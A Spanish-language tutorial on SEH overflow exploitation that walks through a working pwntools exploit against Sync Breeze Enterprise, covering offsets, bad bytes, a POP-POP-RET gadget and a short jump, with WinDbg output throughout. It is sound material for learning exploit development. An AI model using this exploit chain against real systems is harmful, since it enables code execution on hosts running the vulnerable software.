Además del Stack Overflow, hay más vulnerabilidades, en este caso analizaremos un SEH Overflow que ocurre cuando sobrescribimos la estructura de excepciones SEH, nuevamente utilizaremos la misma aplicación real para entender la explotación.
Contenido
Exploit Development

SEH Overflow

Theory
Iniciamos con algunos conceptos importantes a aprender para poder explotar esta vulnerabilidad, SEH o Structured Exception Handling es la forma que tiene Windows de manejar las excepciones, estas pueden ser de software o hardware, un ejemplo básico en código podria ser el tipico try/catch para manejar excepciones:
try {
// code block to try to execute
} catch {
// code block if causes an exception
}
Algunos conceptos interesantes sobre este controlador de excepciones son:
• La estructura SEH es independiente por cada hilo en ejecución, esta consta de 2 valores, el controlador y el puntero a la siguiente estructura SEH.
0:000> dt ntdll!_EXCEPTION_REGISTRATION_RECORD
+0x000 Next : Ptr32 _EXCEPTION_REGISTRATION_RECORD
+0x004 Handler : Ptr32 _EXCEPTION_DISPOSITION
• El puntero a la estructura SEH se almacena en la estructura TEB y al ser el primer valor se puede acceder desde fs:[0].
0:000> !teb
TEB at 002bf000
ExceptionList: 01d3ff60
StackBase: 01d40000
StackLimit: 01d3c000
SubSystemTib: 00000000
FiberData: 00001e00
ArbitraryUserPointer: 00000000
Self: 002bf000
EnvironmentPointer: 00000000
ClientId: 00001918 . 00000f18
RpcHandle: 00000000
Tls Storage: 00000000
PEB Address: 0029b000
LastErrorValue: 0
LastStatusValue: 0
Count Owned Locks: 0
HardErrorMode: 0
0:000> dd fs:[0] L1
0053:00000000 01d3ff60
• Un programa puede tener multiples controladores SEH y estos estan encadenados entre si por una lista creando una cadena.
0:000> dt ntdll!_EXCEPTION_REGISTRATION_RECORD 0x01d3ff60
+0x000 Next : 0x01d3ffcc _EXCEPTION_REGISTRATION_RECORD
+0x004 Handler : 0x7735af20 _EXCEPTION_DISPOSITION ntdll!_except_handler4+0
0:000> dt ntdll!_EXCEPTION_REGISTRATION_RECORD 0x01d3ffcc
+0x000 Next : 0x01d3ffe4 _EXCEPTION_REGISTRATION_RECORD
+0x004 Handler : 0x7735af20 _EXCEPTION_DISPOSITION ntdll!_except_handler4+0
0:000> dt ntdll!_EXCEPTION_REGISTRATION_RECORD 0x01d3ffe4
+0x000 Next : 0xffffffff _EXCEPTION_REGISTRATION_RECORD
+0x004 Handler : 0x77368c1d _EXCEPTION_DISPOSITION ntdll!FinalExceptionHandlerPad45+0
• Todas las cadenas terminan con un SEH predeterminado, el siguiente SEH apunta a 0xffffffff que significa que es el ultimo de la cadena.
0:000> dt ntdll!_EXCEPTION_REGISTRATION_RECORD 0x01d3ffe4
+0x000 Next : 0xffffffff _EXCEPTION_REGISTRATION_RECORD
+0x004 Handler : 0x77368c1d _EXCEPTION_DISPOSITION ntdll!FinalExceptionHandlerPad45+0
• Si se utiliza la flag /SAFESEH el programa no será vulnerable ya que usará un controlador seguro.
• Los programas en x64 no son vulnerables a SEH Overflow ya que los archivos tienen controladores de excepciones seguros.
Resumiendo un poco lo anterior la estructura SEH de podria ver algo asi, donde una encadena a la otra almacenando el puntero al siguiente SEH terminando la cadena con el controlador por defecto que como siguiente SEH apunta a 0xffffffff.

Para finalizar podemos usar el comando integrado en windbg !exchain para ver toda la estructura SEH, nos muestra los controladores y la estructura de forma recursiva.
0:000> !exchain
01d3ff60: ntdll!_except_handler4+0 (7735af20)
CRT scope 0, filter: ntdll!DbgUiRemoteBreakin+3b (7738dbab)
func: ntdll!DbgUiRemoteBreakin+3f (7738dbaf)
01d3ffcc: ntdll!_except_handler4+0 (7735af20)
CRT scope 0, filter: ntdll!__RtlUserThreadStart+3cb75 (773847a4)
func: ntdll!__RtlUserThreadStart+3cc0e (7738483d)
01d3ffe4: ntdll!FinalExceptionHandlerPad45+0 (77368c1d)
Invalid exception stack at ffffffff
Crashing Application
Nuevamente evitaremos la detección de la vulnerabilidad para ahorrar tiempo, por ahora usaremos un exploit de exploitdb para crear nuestro poc, resumiendo un poco para que el programa corrompa necesita un header bastante especifico.
#!/usr/bin/python3
from pwn import remote, p32
payload = b"A" * 1000
header = b""
header += p32(0xabba1975)
header += p32(0x3)
header += p32(0x1)
header += p32(len(payload))
header += p32(len(payload))
header += p32(payload[-1])
content = header + payload
shell = remote("192.168.100.5", 9121)
shell.sendline(content)
Al ejecutar el poc pasa algo interesante y es que aunque el programa corrompe el eip no apunta a ninguna parte de nuestra cadena como pasa en un stack overflow.
❯ python3 exploit.py
[+] Opening connection to Windows on port 9121: Done
[*] Closed connection to Windows port 9121
0:000> g
(d0c.18e4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=006fff44 ebx=00000000 ecx=41414141 edx=00780000 esi=006fff08 edi=006fff08
eip=0099166a esp=006ffe00 ebp=006fff80 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
libpal!SCA_ConfigObj::Clear+0xa:
0099166a 8b410c mov eax,dword ptr [ecx+0Ch] ds:002b:4141414d=????????
Sin embargo lo que si sobrescribimos es la estructura SEH que ahora apunta a 0x41414141 tanto en el controlador como en el puntero al siguiente SEH.
0:000> !exchain
006ffe14: libpal!md5_starts+14783 (00a0d473)
006fff44: 41414141
Invalid exception stack at 41414141
Como ha ocurrido una excepción y sobrescribimos el controlador este intentara saltar a la excepcion por lo que apuntara a 0x41414141 que si es parte de nuestra cadena.
0:007> g
(d0c.18e4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=41414141 edx=77af8ac0 esi=00000000 edi=00000000
eip=41414141 esp=006ff850 ebp=006ff870 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
41414141 ?? ???
Find Offset
Ahora necesitamos calcular la cantidad de bytes necesarios antes de sobrescribir los 2 valores de la estructura, el siguiente SEH y el controlador de la excepción, para ello podemos usar cyclic y crear un patrón de caracteres que nos ayudara a calcularlo.
❯ cyclic 1000
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaaj
Ahora cambiamos las 1000 A's del payload por este patrón y enviamos el exploit.
#!/usr/bin/python3
from pwn import remote, p32, cyclic
payload = cyclic(1000)
header = b""
header += p32(0xabba1975)
header += p32(0x3)
header += p32(0x1)
header += p32(len(payload))
header += p32(len(payload))
header += p32(payload[-1])
content = header + payload
shell = remote("192.168.100.5", 9121)
shell.sendline(content)
Cuando el programa corrompe, los valores de la estructura que se sobrescribieron ya no son 0x41414141 sino que son los caracteres que forman parte del patrón creado con cyclic y nos indicarán la cantidad de bytes antes de llegar a sobrescribirlos.
0:000> g
(3a98.23dc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=020af963 ebx=020af9c8 ecx=00000135 edx=00000302 esi=020afa10 edi=00000134
eip=00c0dcce esp=020af99c ebp=020afecc iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
libpal!SCA_GetToken+0x4e:
00c0dcce 88042f mov byte ptr [edi+ebp],al ds:002b:020b0000=??
0:000> !exchain
020afe10: libpal!md5_starts+149fb (00c7d6eb)
020aff48: 62616168
Invalid exception stack at 62616167
Para calcular el offset tomamos el valor del siguiente SEH y del controlador para así pasarselos a cyclic -l, este nos devuelve el offset de cada uno de los valores.
❯ cyclic -l 0x62616167
124
❯ cyclic -l 0x62616168
128
Nuestro payload ahora enviará 124 A's hasta antes de sobrescribir la estructura SEH, 4 B's que serán el siguiente SEH y 4 C's que serán el controlador, ademas de ello rellenamos con D's hasta llegar a 1000 bytes ya que en la mayoria de casos es necesario forzar que ocurra la excepción enviando una cantidad grande de bytes.
#!/usr/bin/python3
from pwn import remote, p32
offset = 124
junk = b"A" * offset
nseh = b"B" * 4
seh = b"C" * 4
payload = b""
payload += junk
payload += nseh + seh
payload += b"D" * (1000 - len(payload))
header = b""
header += p32(0xabba1975)
header += p32(0x3)
header += p32(0x1)
header += p32(len(payload))
header += p32(len(payload))
header += p32(payload[-1])
content = header + payload
shell = remote("192.168.100.5", 9121)
shell.sendline(content)
Al enviar el exploit el programa corrompe pero ahora controlamos la estructura SEH con el siguiente SEH con el valor 0x42424242 y el controlador con 0x43434343.
0:000> g
(1914.1074): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=01bff944 ebx=01bff9c4 ecx=00000139 edx=00000302 esi=01bffa0c edi=00000138
eip=008fdcce esp=01bff998 ebp=01bffec8 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
libpal!SCA_GetToken+0x4e:
008fdcce 88042f mov byte ptr [edi+ebp],al ds:002b:01c00000=??
0:000> !exchain
01bffe0c: libpal!md5_starts+149fb (0096d6eb)
01bfff44: 43434343
Invalid exception stack at 42424242
Si seguimos la ejecución, como ocurrió una excepción ejecutará el primer controlador del SEH y como lo hemos sobrescrito con 0x43434343 intentará llegar a esa dirección.
0:000> g
(1914.1074): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=43434343 edx=77af8ac0 esi=00000000 edi=00000000
eip=43434343 esp=01bff3e8 ebp=01bff408 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
43434343 ?? ???
Algo a tener en cuenta es que cuando ocurre la excepción los valores del SEH se mueven al stack parecido a cuando se llama a una función, lo que nos interesa es que en la dirección esp + 8 se encuentra el puntero hacia el siguiente SEH.
0:000> !exchain
01bff3fc: ntdll!ExecuteHandler2+44 (77af8ac0)
01bffe0c: libpal!md5_starts+149fb (0096d6eb)
01bfff44: 43434343
Invalid exception stack at 42424242
0:000> dds esp L4
01bff3e8 77af8aa2 ntdll!ExecuteHandler2+0x26
01bff3ec 01bff4e8
01bff3f0 01bfff44 (esp + 8) [ptr to nseh]
01bff3f4 01bff538
Al inspeccionar lo que hay en el puntero en esp + 8 podemos ver el valor de la siguiente estructura SEH (0x42424242) seguido del controlador y las D's de relleno.
0:000> dds poi(esp + 8) L4
01bfff44 42424242 (nseh)
01bfff48 43434343 (seh)
01bfff4c 44444444 (DDDD)
01bfff50 44444444 (DDDD)
Find Badbytes
Algo importante es detectar bytes que puedan dar problemas, ya que es posible que el programa tenga problemas con algunos caracteres especificos y cortar la cadena, si esto pasa en un shellcode eliminará muchas de las instrucciones y no se ejecutará.
❯ python3 -q
>>> bytes(range(0, 256))
b'\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff'
>>>
Modificamos el exploit para que en lugar de guardar D's guarde nuestro bytearray con los 256 posibles caracteres para después comparar 256 bytes de esa dirección de memoria con los bytes originalmente desde 0x00 hasta 0xff, si uno de ellos se ve modificado o tiene un valor diferente significa que hubo algún problema.
#!/usr/bin/python3
from pwn import remote, p32
offset = 124
junk = b"A" * offset
nseh = b"B" * 4
seh = b"C" * 4
badbytes = bytes(range(0, 256))
payload = b""
payload += junk
payload += nseh + seh
payload += badbytes
payload += b"D" * (1000 - len(payload))
header = b""
header += p32(0xabba1975)
header += p32(0x3)
header += p32(0x1)
header += p32(len(payload))
header += p32(len(payload))
header += p32(payload[-1])
content = header + payload
shell = remote("192.168.100.5", 9121)
shell.sendline(content)
El programa corrompe y saltamos a la excepción que nos lleva al controlador.
0:000> g
(1370.17b8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0220ff48 ebx=00000000 ecx=41414141 edx=00000000 esi=0220ff0c edi=0220ff0c
eip=00cc166a esp=0220fe04 ebp=0220ff84 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
libpal!SCA_ConfigObj::Clear+0xa:
00cc166a 8b410c mov eax,dword ptr [ecx+0Ch] ds:002b:4141414d=????????
0:000> g
(2448.1b84): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=43434343 edx=77b04540 esi=00000000 edi=00000000
eip=43434343 esp=0220f848 ebp=0220f868 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
43434343 ?? ???
Sabemos que el puntero de esp + 8 apunta a el siguiente SEH por lo que si saltamos los 8 bytes del siguiente SEH y controlador la dirección resultante deberia apuntar a lo que enviamos después que son los badbytes, si comparamos todos los bytes en esa dirección parece que ningún byte coincide por lo que probablemente el 0x00 es un badbyte y está corrompiendo todo lo que esta después, incluyendose a él mismo.
0:000> db poi(esp + 8) + 8
0220ff50 ff ff ff ff 4c 07 cf 00-00 3d cf 00 00 36 81 01 ....L....=...6..
0220ff60 62 3f cf 00 00 05 eb 00-00 36 81 01 14 3d cf 00 b?.......6...=..
0220ff70 00 05 eb 00 00 3d cf 00-49 5d ed 76 00 36 81 01 .....=..I].v.6..
0220ff80 30 5d ed 76 dc ff 20 02-db d6 ab 77 00 36 81 01 0].v.. ....w.6..
0220ff90 e8 ad c5 fa 00 00 00 00-00 00 00 00 00 36 81 01 .............6..
0220ffa0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0220ffb0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0220ffc0 00 00 00 00 90 ff 20 02-00 00 00 00 e4 ff 20 02 ...... ....... .
Lo que hacemos es crear un nuevo bytearray que omita el byte 0x00, usando la propiedad translate podemos eliminar bytes específicos, ya que sabemos que nos traerá problemas quitamos el null byte de nuestro array dentro del exploit.
badbytes = bytes(range(0, 256)).translate(None, b"\x00")
Enviamos el exploit y al comparar esa dirección con nuestros bytes omite 0x00 y el byte 0x01 no se ve afectado, sin embargo parece que 0x02 no se llega a escribir correctamente por lo que es probable que se pueda considear un badbyte.
0:000> db poi(esp + 8) + 8
020bff50 01 00 00 00 4c 07 c4 00-00 3d c4 00 70 39 80 01 ....L....=..p9..
020bff60 62 3f c4 00 00 05 db 00-70 39 80 01 14 3d c4 00 b?......p9...=..
020bff70 00 05 db 00 00 3d c4 00-49 5d ed 76 70 39 80 01 .....=..I].vp9..
020bff80 30 5d ed 76 dc ff 0b 02-db d6 ab 77 70 39 80 01 0].v.......wp9..
020bff90 e1 3c fb c1 00 00 00 00-00 00 00 00 70 39 80 01 .<..........p9..
020bffa0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
020bffb0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
020bffc0 00 00 00 00 90 ff 0b 02-00 00 00 00 e4 ff 0b 02 ................
Este proceso puede ser algo repetitivo, ya que se debe hacer las veces que sean necesarias hasta eliminar todos los badbytes que pueden ocasionarnos problemas, en este caso al terminar este proceso nos quedamos con 6 badbytes y lo que buscamos es que el array de bytes que enviamos se muestre integro en la memoria indicando que ninguno de los bytes fue corrupto y podemos usarlos en el payload.
badbytes = bytes(range(0, 256)).translate(None, b"\x00\x0a\x0d\x25\x26\x2b\x3d")
0:000> db poi(esp + 8) + 8
020eff50 01 03 04 05 06 07 08 09-0b 0c 0e 0f 10 11 12 13 ................
020eff60 14 15 16 17 18 19 1a 1b-1c 1d 1e 1f 20 21 22 23 ............ !"#
020eff70 24 25 26 27 28 29 2a 2b-2c 2d 2e 2f 30 31 32 33 $%&'()*+,-./0123
020eff80 34 35 36 37 38 39 3a 3b-3c 3d 3e 3f 40 41 42 43 456789:;<=>?@ABC
020eff90 44 45 46 47 48 49 4a 4b-4c 4d 4e 4f 50 51 52 53 DEFGHIJKLMNOPQRS
020effa0 54 55 56 57 58 59 5a 5b-5c 5d 5e 5f 60 61 62 63 TUVWXYZ[\]^_`abc
020effb0 64 65 66 67 68 69 6a 6b-6c 6d 6e 6f 70 71 72 73 defghijklmnopqrs
020effc0 74 75 76 77 78 79 7a 7b-7c 7d 7e 7f 80 81 82 83 tuvwxyz{|}~.....
Find Opcode
Repasemos lo que tenemos, cuando ocurre una excepción en esp + 8 se guarda el puntero al siguiente SEH por lo que si lo usamos como dirección de retorno se ejecutará el 0x42424242 como instrucción assembly que seria 4 veces inc edx.
0:000> !exchain
01bff3fc: ntdll!ExecuteHandler2+44 (77af8ac0)
01bffe0c: libpal!md5_starts+149fb (0096d6eb)
01bfff44: 43434343
Invalid exception stack at 42424242
0:000> dds esp L8
01bff3e8 77af8aa2 ntdll!ExecuteHandler2+0x26
01bff3ec 01bff4e8
01bff3f0 01bfff44
01bff3f4 01bff538
01bff3f8 01bff474
01bff3fc 01bffe0c
01bff400 77af8ac0 ntdll!ExecuteHandler2+0x44
01bff404 01bfff44
Entonces necesitamos quitar 8 bytes o 2 dwords del stack y ejecutar un ret para ejecutar el siguiente SEH como instrucción asm, esto podemos hacerlo con:
• pop ???; pop ???; ret;: Eliminará 4 bytes en el primer pop para guardarlo en el registro, 4 bytes en el segundo y al ejecutar el ret ejecutará el siguiente SEH.
• add esp, 8; ret;: Parecido al anterior solo que en lugar de guardar 2 dwords en registros hace que el puntero al stack aumenta en 8 bytes para ejecutar el ret.
Para encontrar un gadget que ejecute algunas de estas instrucciones primero necesitamos saber que módulos carga el programa que pertenezcan a él y no al sistema para esto podemos usar lm, solo hay 4 módulos y 3 de ellos son librerias, sin embargo de estos solo podemos usar 1 ya que el resto tiene como base una dirección que contiene 00 y antes habiamos visto que el null byte era un badbyte.
0:000> lm f
start end module name
00400000 00462000 syncbrs C:\Program Files (x86)\Sync Breeze Enterprise\bin\syncbrs.exe
00c20000 00cf4000 libpal C:\Program Files (x86)\Sync Breeze Enterprise\bin\libpal.dll
00d00000 00db4000 libsync C:\Program Files (x86)\Sync Breeze Enterprise\bin\libsync.dll
10000000 10223000 libspp C:\Program Files (x86)\Sync Breeze Enterprise\bin\libspp.dll
6f000000 6f0a7000 odbc32 C:\Windows\System32\odbc32.dll
722c0000 722eb000 sspiCli C:\Windows\System32\sspicli.dll
............................................................
76cf0000 76df7000 crypt32 C:\Windows\System32\crypt32.dll
76f30000 770ef000 ntdll C:\WINDOWS\System32\ntdll.dll
Ya que tenemos un módulo que no inicia con 00 y no tiene protecciones como DEP, ASLR u otros podemos usar ropper para encontrar gadgets que nos ayuden a saltar al siguiente SEH, encontramos varios gadgets y podemos usar cualquiera de ellos.
❯ ropper --file libspp.dll --dllcharacteristics
DllCharacteristics
==================
Name Value
---- -----
DynamicBase NO
ForceIntegrity NO
NxCompat NO
No Isolation NO
No SEH NO
No Bind NO
WdmDriver NO
ControlFLowGuard NO
TerminalServerAware NO
❯ ropper --file libspp.dll --badbytes '00020a0df8fd' --ppr
POP;POP;RET Instructions
========================
0x10132edc: pop ebx; pop edi; ret;
0x1013251f: pop ebx; pop ebp; ret;
0x101241b2: pop ebx; pop esi; ret;
0x1001bc5a: pop ebx; pop ecx; ret;
0x101582b0: pop eax; pop ebx; ret;
0x10125678: pop edi; pop ebp; ret;
0x10125274: pop edi; pop ebx; ret;
0x1001e6c5: pop edi; pop esi; ret;
0x101090a8: pop esi; pop ebp; ret;
0x1001f561: pop esi; pop ebx; ret;
0x10043ad7: pop esi; pop ecx; ret;
0x10128eb9: pop esi; pop edi; ret;
0x1001f264: pop ebp; pop ebx; ret;
0x1012d597: pop ebp; pop esi; ret;
0x1012b191: add esp, 4; pop esi; ret;
0x100129c8: add esp, 8; ret;
16 gadgets found
Nuestro exploit ahora tendrá como controlador el puntero a un pop; pop; ret;, el gadget eliminará 8 bytes del stack y luego retornará al puntero del siguiente SEH.
#!/usr/bin/python3
from pwn import remote, p32, asm
offset = 124
junk = b"A" * offset
nseh = b"B" * 4
seh = p32(0x10132edc)
payload = b""
payload += junk
payload += nseh + seh
payload += b"D" * (1000 - len(payload))
header = b""
header += p32(0xabba1975)
header += p32(0x3)
header += p32(0x1)
header += p32(len(payload))
header += p32(len(payload))
header += p32(payload[-1])
content = header + payload
shell = remote("192.168.100.5", 9121)
shell.sendline(content)
0:000> g
(7cc.778): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=01bff944 ebx=01bff9c4 ecx=00000139 edx=00000302 esi=01bffa0c edi=00000138
eip=008edcce esp=01bff998 ebp=01bffec8 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
libpal!SCA_GetToken+0x4e:
008edcce 88042f mov byte ptr [edi+ebp],al ds:002b:01c00000=??
0:000> !exchain
01bffe0c: libpal!md5_starts+149fb (0095d6eb)
libspp!SPP_ValueTrend::FormatValueString+f6cc (10132edc)
Invalid exception stack at 42424242
Luego de que el programa corrompe podemos establecer un breakpoint en el gadget pop; pop; ret;, podemos ver en esp + 8 el puntero al siguiente SEH.
0:000> bp 0x10132edc
0:000> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=10132edc edx=77af8ac0 esi=00000000 edi=00000000
eip=10132edc esp=01bff3e8 ebp=01bff408 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
libspp!SPP_ValueTrend::FormatValueString+0xf6cc:
10132edc 5b pop ebx
0:000> dds esp L4
01bff3e8 77af8aa2
01bff3ec 01bff4e8
01bff3f0 01bfff44
01bff3f4 01bff538
El primer pop elimina 4 bytes del stack, el segundo pop otros 4 bytes y el ret ejecuta lo que esta en la dirección almacenada en esp que es el siguiente SEH que vale 0x42424242 o BBBB que su valor en asm es inc edx repetido por 4 veces.
0:000> r
eax=00000000 ebx=00000000 ecx=10132edc edx=77af8ac0 esi=00000000 edi=00000000
eip=10132edc esp=01bff3e8 ebp=01bff408 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
libspp!SPP_ValueTrend::FormatValueString+0xf6cc:
10132edc 5b pop ebx
0:000> p
eax=00000000 ebx=77af8aa2 ecx=10132edc edx=77af8ac0 esi=00000000 edi=00000000
eip=10132edd esp=01bff3ec ebp=01bff408 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
libspp!SPP_ValueTrend::FormatValueString+0xf6cd:
10132edd 5f pop edi
0:000> p
eax=00000000 ebx=77af8aa2 ecx=10132edc edx=77af8ac0 esi=00000000 edi=01bff4e8
eip=10132ede esp=01bff3f0 ebp=01bff408 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
libspp!SPP_ValueTrend::FormatValueString+0xf6ce:
10132ede c3 ret
0:000> p
eax=00000000 ebx=77af8aa2 ecx=10132edc edx=77af8ac0 esi=00000000 edi=01bff4e8
eip=01bfff44 esp=01bff3f4 ebp=01bff408 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
01bfff44 42 inc edx
Tenemos una forma de ejecutar código asm, sin embargo una vez que ejecute el 0x42424242 si intenta ejecutar la dirección del controlador como instrucción probablemente corrompa, la solución es saltar esos 8 bytes para llegar a las D's.
0:000> dds eip L8
01bfff44 42424242
01bfff48 10132edc
01bfff4c 44444444
01bfff50 44444444
01bfff54 44444444
01bfff58 44444444
01bfff5c 44444444
01bfff60 44444444
Ahora nuestro siguiente SEH toma como valor la instrucción jmp $+8, aunque esta solo pesa 2 bytes (\xeb\x06), necesitamos rellenar a 4 con A's para evitar problemas.
#!/usr/bin/python3
from pwn import remote, p32, asm
offset = 124
junk = b"A" * offset
nseh = asm("jmp $+8").ljust(4, b"A")
seh = p32(0x10132edc)
payload = b""
payload += junk
payload += nseh + seh
payload += b"D" * (1000 - len(payload))
header = b""
header += p32(0xabba1975)
header += p32(0x3)
header += p32(0x1)
header += p32(len(payload))
header += p32(len(payload))
header += p32(payload[-1])
content = header + payload
shell = remote("192.168.100.5", 9121)
shell.sendline(content)
Enviamos el exploit, ejecutamos el pop; pop; ret; y la siguiente instrucción será el jmp corto que saltará a 0x01c0ff4c, esta dirección es donde inician nuestras D's.
0:000> bp 0x10132edc
0:000> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=10132edc edx=77af8ac0 esi=00000000 edi=00000000
eip=10132edc esp=01c0f3e8 ebp=01c0f408 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
libspp!SPP_ValueTrend::FormatValueString+0xf6cc:
10132edc 5b pop ebx
0:000> pt
eax=00000000 ebx=77af8aa2 ecx=10132edc edx=77af8ac0 esi=00000000 edi=01c0f4e8
eip=10132ede esp=01c0f3f0 ebp=01c0f408 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
libspp!SPP_ValueTrend::FormatValueString+0xf6ce:
10132ede c3 ret
0:000> p
eax=00000000 ebx=77af8aa2 ecx=10132edc edx=77af8ac0 esi=00000000 edi=01c0f4e8
eip=01c0ff44 esp=01c0f3f4 ebp=01c0f408 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
01c0ff44 eb06 jmp 01c0ff4c
0:000> dds eip L4
01c0ff44 414106eb
01c0ff48 10132edc libspp!SPP_ValueTrend::FormatValueString+0xf6cc
01c0ff4c 44444444
01c0ff50 44444444
Después del jmp corto lo siguiente que ejecutará son las D's como instrucción por lo que si en lugar de D's enviamos un shellcode deberiamos poder ejecutarlo.
0:000> p
eax=00000000 ebx=77af8aa2 ecx=10132edc edx=77af8ac0 esi=00000000 edi=01c0f4e8
eip=01c0ff4c esp=01c0f3f4 ebp=01c0f408 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
01c0ff4c 44 inc esp
0:000> dds eip L4
01c0ff4c 44444444
01c0ff50 44444444
01c0ff54 44444444
01c0ff58 44444444
Stack Pivot
Sin embargo no podemos solo enviar un shellcode ya que si miramos los bytes despues de escribir 180 D's corta la cadena, este espacio no es suficiente para un shellcode por lo que necesitamos buscar una forma de obtener más espacio.
0:000> db eip L100
01c0ff4c 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
01c0ff5c 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
01c0ff6c 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
